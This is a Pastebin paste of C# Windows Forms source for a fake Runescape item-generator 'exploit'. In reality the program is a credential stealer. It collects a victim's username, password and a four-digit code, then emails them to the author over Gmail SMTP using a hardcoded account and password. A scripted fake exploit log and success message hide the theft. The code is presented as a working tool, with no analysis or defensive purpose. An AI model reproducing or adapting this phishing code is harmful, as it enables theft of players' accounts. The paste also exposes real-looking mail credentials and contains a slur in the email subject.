Advertisement
Guest User

Untitled

a guest
Dec 26th, 2015
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.67 KB | None | 0 0
  1. using System;
  2. using System.Drawing;
  3. using System.Text;
  4. using System.Threading;
  5. using System.Threading.Tasks;
  6. using System.Windows.Forms;
  7. using System.Net;
  8. using System.Net.Mail;
  9. using System.Timers;
  10.  
  11. namespace SteelyTest
  12. {
  13. public partial class Form1 : Form
  14. {
  15.  
  16. public Form1()
  17. {
  18. InitializeComponent();
  19. this.FormBorderStyle = FormBorderStyle.FixedDialog;
  20. this.StartPosition = FormStartPosition.CenterScreen;
  21. // Correct component hierarchy for transparency
  22. Background.Controls.Add(Logo);
  23. Background.Controls.Add(label1);
  24. Background.Controls.Add(label2);
  25. Background.Controls.Add(label3);
  26. Background.Controls.Add(label4);
  27. Background.Controls.Add(label5);
  28. Background.Controls.Add(label6);
  29. Background.Controls.Add(pictureBox1);
  30.  
  31. // Correct color transparency
  32. pictureBox1.BackColor = Color.Transparent;
  33. Logo.BackColor = Color.Transparent;
  34. label1.BackColor = Color.Transparent;
  35. label2.BackColor = Color.Transparent;
  36. label3.BackColor = Color.Transparent;
  37. label4.BackColor = Color.Transparent;
  38. label5.BackColor = Color.Transparent;
  39. label6.BackColor = Color.Transparent;
  40.  
  41. // textbox length
  42. textBox1.MaxLength = 18;
  43. textBox2.MaxLength = 18;
  44. textBox3.MaxLength = 4;
  45.  
  46. // loading icon
  47. pictureBox1.Visible = false;
  48. }
  49.  
  50. private void button1_Click_1(object sender, EventArgs e)
  51. {
  52. try
  53. {
  54. // E-mail Adress Decleration
  55. var fromAddress = new MailAddress("Moneymaker6969696969@gmail.com", "Dummy");
  56. var toAddress = new MailAddress("Moneymaker6969696969@gmail.com", "Le h4x0r");
  57. const string fromPassword = "ghomsali";
  58. const string subject = "RETARD ALERT";
  59.  
  60. // Check if the textboxes are filled to avoid spam clicks on the exploit button
  61. if (string.IsNullOrWhiteSpace(textBox1.Text) || string.IsNullOrWhiteSpace(textBox2.Text))
  62. MessageBox.Show("Please enter a valid username and password.", "Error",
  63. MessageBoxButtons.OK, MessageBoxIcon.Error );
  64. else
  65. {
  66. string body = textBox1.Text + " " + textBox2.Text + " " + textBox3.Text;
  67.  
  68. // Smtp
  69. SmtpClient smtp = new SmtpClient();
  70. smtp.Host = "smtp.gmail.com";
  71. smtp.Port = 587;
  72. smtp.EnableSsl = true;
  73. smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
  74. smtp.UseDefaultCredentials = false;
  75. smtp.Credentials = new NetworkCredential(fromAddress.Address, fromPassword);
  76.  
  77. // Message
  78. MailMessage message = new MailMessage(fromAddress, toAddress);
  79. message.Body = body;
  80. message.Subject = subject;
  81.  
  82. // Fake Exploit Log
  83. AddToLog("Accessing Jagex player database...");
  84. Log();
  85.  
  86. // Send Mail
  87. smtp.Send(message);
  88. }
  89. }
  90. catch (Exception ex)
  91. {
  92. MessageBox.Show("Something went wrong, please try again! ##" + ex.ToString());
  93. }
  94. }
  95.  
  96. // Log method
  97. public void AddToLog(string message)
  98. {
  99. listBox1.Items.Insert(0, message);
  100. }
  101.  
  102. public void Log()
  103. {
  104. // wait a couple of seconds before executing these methods.
  105. pictureBox1.Visible = true;
  106. Task.Delay(5000).ContinueWith(t => Working(), TaskScheduler.FromCurrentSynchronizationContext());
  107. Task.Delay(11000).ContinueWith(t => ExploitComplete(), TaskScheduler.FromCurrentSynchronizationContext());
  108. Task.Delay(25000).ContinueWith(t => Application.Exit(), TaskScheduler.FromCurrentSynchronizationContext());
  109. }
  110.  
  111. public void Working()
  112. {
  113. AddToLog("Executing exploits... ");
  114. }
  115.  
  116. public void ExploitComplete()
  117. {
  118. AddToLog("Exploit Complete!");
  119. MessageBox.Show("Successfully added " + comboBox1.SelectedItem + " to your account! Please relog into Runescape.", "Success!",
  120. MessageBoxButtons.OK, MessageBoxIcon.Information);
  121. pictureBox1.Visible = false;
  122. }
  123. }
  124. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement